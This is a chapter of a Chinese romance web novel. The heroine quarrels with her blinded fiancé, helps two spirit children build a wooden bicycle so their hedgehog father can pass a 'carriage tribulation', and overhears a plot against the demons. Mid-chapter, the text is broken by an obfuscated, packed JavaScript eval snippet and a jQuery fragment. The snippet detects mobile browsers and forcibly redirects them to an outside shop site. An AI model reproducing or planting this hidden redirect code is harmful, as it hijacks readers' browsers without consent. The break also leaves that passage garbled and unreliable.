“当时你和月灵真人都中毒陷入昏迷,他晕倒前放出消息,告诉我稍后他的朋友回来接应。因为那个道长也姓白,我以为他是才让他给你…你俩看病。”
想到自己当时的行为确有不妥,玉香乱的怒火瞬间被浇灭,还有些心虚。
“但他说只能治你,治不了月灵真人。后面月灵真人的朋友来了,表示他能治你俩,我权衡之下才选了更有把握的白先生。”
“是吗,”顾无咎理了理胸前的衣襟,“说到底你还是为了救他。”
玉香乱被他的话说得一愣,只见他好整以暇的抬起眼,微微偏头“看”向她。
“我倒是不知道,不过几面之缘,倒叫身为我未婚妻的你如此关心一个外人。”
虽然不明白他这么说是什么意思,但顾无咎说的话让玉香乱皱起眉头,十分不赞同地回道,“你这是什么话?你如今能好好的坐在这,和我拌嘴,我说白了都是因为月灵真人搭救。如果仅凭我的话,难道你准备和我一起死在蛇妖的肚子里配阴婚吗?”
顾无咎被这话噎得一哽,但他抿起嘴唇,胸膛剧烈起伏的样子,显然也不认同她的话。
看着他无法对焦的眼睛,尽管也是气血上头的玉香乱暗自做了个深呼吸,终究是让了一步。
“我知道你现在眼睛不方便,心里自然是不舒服的。但白先生也说了,只要脑袋里的淤血散掉,你还能重新看见的。”
玉香乱坐到床尾,看着顾无咎的眼睛尽可能地和缓语气。
“你别着急,即便白先生看不好你,我也会再为你找其他名医,必然不会放任你一直失明。你既然决定三日后回家休养,那咱们到时候再寻其他大夫或者医修就是了。”
“咱们?”
顾无咎的重点放在了玉香乱完全没想到的地方。
“你是说你会和我一起回家?”
玉香乱有些不明所以,理所当然地回道,“当然啊!咱俩一起出来的,自然是要一起回去的。何况你现在还受了伤。”
似是想到什么,玉香乱身体微微前倾,逼近顾无咎。
“你莫不是觉得,我会丢下你独自回家?!我在苍云山都没那么做,你把我当成什么人了?”
她身上常用熏香残留的味道窜入顾无咎的鼻尖,背靠床柱躲无可躲的少年微微偏过脸去。
“离远点!说话就说话,凑这么近做什么!?”
玉香乱撇撇嘴,抬起拳头在看不见的顾无咎面前威胁式的舞了两下。
“凑近点看看你有没有良心!你知道你多沉吗?月灵真人救了咱俩,我也背了你一路!我怎么样也能算你半个救命恩人吧!你居然这么怀疑我?”
顾无咎张嘴下意识想反驳,但嘴唇嗫嚅两下,最终合了起来,嘴角用力扁了扁。
就在玉香乱以为他不会再说话时,顾无咎才又开了尊口,“我会变成如今这样,说到底还是你说什么仙人托梦,非要进山才会闹成这样。怎么就又成了我的恩人?”
这话戳到了玉香乱的死穴,本来因为打嘴仗赢了一程而微翘的眉头和嘴角落了下来。
她耷拉着肩膀沉默良久。
“你…怎么不说话?”
顾无咎能感觉到玉香乱还在房间里,但是他看不到她的神情,有些不安的出声问她。
“我知道,如今这样我难辞其咎。你要怪我的话,我也没话说。无论你信不信,我本意是想帮你,并不是害你。更何况只是为了保护咱俩才跟进山的月灵真人……”
玉香乱从床边站起,低垂着眉眼没有看顾无咎。
“你想报复也好,或者别的什么也好,等你好了冲我来就是了。只是劝你莫当那忘恩负义之人。”
说完,玉香乱也不看他,扭头径直朝外走去。
路过外厅墙边的花盆时,她闻到一股新鲜的浓郁药味,视线瞥向来处,却只看到了老旧的花盆,和里面半死不活的发财树。
也没多想,玉香乱推开门走了出去。
一出门,左侧墙边靠着的苏凌霜就吓了她一跳。
“你们聊完了?”
见她出来,原本倚着墙的苏凌霜站起身,歪头朝房间内看了几眼。
“嗯。”玉香乱点点头。
苏凌霜挑挑眉,露出一个笑容,“那我进去了,之前说好的,我会帮忙照顾病人嘛~”
本想阻拦的玉香随手抬到一半停住了。
虽然觉得顾无咎应该多休息,可他如今视力上有所不便,有人近身照顾也是好事。
“管他呢。”
反正她也希望顾无咎和女配多培养一下感情。
玉香乱嘀咕一声迈步朝前走去,只是没走出两步,她回头看了眼已经闭合的房门。
“不过…是不是太快了?”
而且明明是白先生“救”了苏凌霜,她怎么只找顾无咎照顾?
难道就因为她看见了他是病号吗?
感觉有些奇怪的玉香乱漫无目的地走在寨子里,不知不觉间走到了药房外的空地上。
只见白乔月和白乔阳站在一处,两人身前堆了一堆木板,不知道要干什么。
“你俩这是做什么呢?熬木头?”
白乔阳见她来了,笑着摇摇头。而白乔月则是挺起小胸脯,并举了举手里的手工刨说:“我们要做一架马车!”
“马车?”
地上的木板粗略一扫还没有玉香乱手腕一半粗,她不懂造马车,但是她知道这木头做扁担怕是都不承重。
“这么单薄的木料怕是没法做马车。你俩想要马车的话,”玉香乱头朝后院歪了下,“回头我那辆送你们好了。不过你们要马车做什么?”
这次两个孩子齐齐摇了摇头,白乔阳轻轻拍了下木板,“就是要单薄才好。”
白乔月则告诉了玉香乱想要马车的原因,“我们要做给爹爹过最后一次车马劫的马车,太重了怕爹爹受不住。”
“车马劫?”
经白乔月这么一提醒,玉香想起来他俩之前的确说过,白先生是因经历车马劫而受伤。
在她原本的世界中,也曾听过刺猬修仙需要被车压的民俗传说。
可是她不明白,“白先生之前不是已经历过劫了吗?”
“不是哦,”白乔月伸出小手摇了摇,“车马劫需经历三次,三次皆过方可成仙。我爹还差最后一次。”
“也就是说,你爹还得再让马车压一次?”
“对!”×2
玉香乱走到跟前,敲了敲地上那些感觉她都能一拳打穿的木板。
“这些……能行吗?”
两个孩子对视一眼,又同时看向她,摇了摇头,“不知道。”
“不能用之前的马车吗?”
白乔阳和白乔月告诉她,白先生前两次历劫的马车没坐人,重量相对更轻,虽然投机取巧了些,但白先生提前用了法宝和灵药,后面天道也算他过了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713458|208283||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
只是这最后一次尤为郑重,若再像以前一般,恐怕不单过不了车马劫,还会受天道处罚。
双子担心一般车架若是再加上人,恐怕他们的爹爹这次会过不去。
因此才想自己造一辆轻便的马车,然后由他俩驾车,让白先生能活着度过最后一劫。
想到人形和刺猬形都不良于行的白先生,还有眼前完全没有章法刨木头的白乔阳和白乔月,玉香乱脑子里灵光一闪。
“车马劫是不是被车压过还活着就算过关?”
两个孩子从木头堆里抬眼,不明所以的点点头。
“既然这样,那我有一个想法……”
玉香乱让他们拿来纸和木炭,自己画出一辆自行车的架构。
“这叫自行车。既然车马劫是车就能过,那不如做一辆这个,你俩随便谁骑着压过你爹,应该也算历劫成功了吧?”
“这……能行吗?”
白乔月看看图纸,又看看眉头紧锁研究图纸的哥哥。
白乔阳则是看着图纸看得两眼放光,“我觉得可以试试!”
三人敲定方案后,两天几乎什么都没干,全身心的投入了木制自行车的制作之中。
不过受限于三人贫瘠的工业知识储备,自行车链条的问题始终无法解决。
经过商议后,几人最终决定,舍弃链条和脚踏,以一种人力滑行的方式做替代,做成半自行的自行车。
自行车做好后,白乔阳和白乔月围着车不住的赞叹,“姐姐,你真是太聪明了!怎么能想出这种东西?”
玉香乱不好意思的摸摸鼻子,不敢冒领这功绩,只推脱说:“我这样也是以前在书上看的。我们先试试吧?”
不过试的时候三人才发觉,车轱辘坐得有些大,只有身形接近成年人的玉香乱才能在跨上车之后双脚触地。
所以这试车的任务,就落在了她的身上。
本以为这半自动自行车没什么速度可言,可没想到木头轮子的车意外跑得很快。
三人在宅子外试车时偶遇一个下坡,玉香乱以步行难以追上的速度直直向着破下坠去。
落到矮坡下的灌木里时,玉香乱的头在旁边的树上磕了一下,整个人晕晕乎乎的靠在树上,半天缓不过神来。
过了不知多久,躺在灌木丛里的她伸手捂住额头,喃喃着,“呃…头好晕。不是脑震荡了吧?”
看着头顶的天空和树叶,玉香乱准备等晕眩感缓解一下再起身。
就在她放松自己望天出神的时候,一阵轻微的脚步声钻进了她的耳朵。
“苏姑娘?你带我来了哪里?”
“这里是那院子外面,离得不远,方便说话。”
灌木丛中的玉香乱呼吸猛地一滞,说话的这两人是顾无咎和苏凌霜。
“我刚刚接到了同门的传信,他们已经准备好爆破结界,明日就能按约定进来了。届时,我们就能擒住这些伤人的妖怪了。”
“苏姑娘…”苏凌霜说完后,顾无咎的声音有些犹豫,“只捉拿那些妖怪即可,玉香乱是我未婚妻,无论如何我都需带她回去。”
苏凌霜闻言发出一阵少女的轻笑,“顾少爷倒是痴情人,她伙同妖怪绑你,你倒是不计前嫌还要接她回去。”
“你不懂。我和她是…”说到这里,顾无咎顿了顿,缓慢且意味深长地继续道,“…自幼时就定下的亲事。她从小就是我的。无论如何,都得带回去。”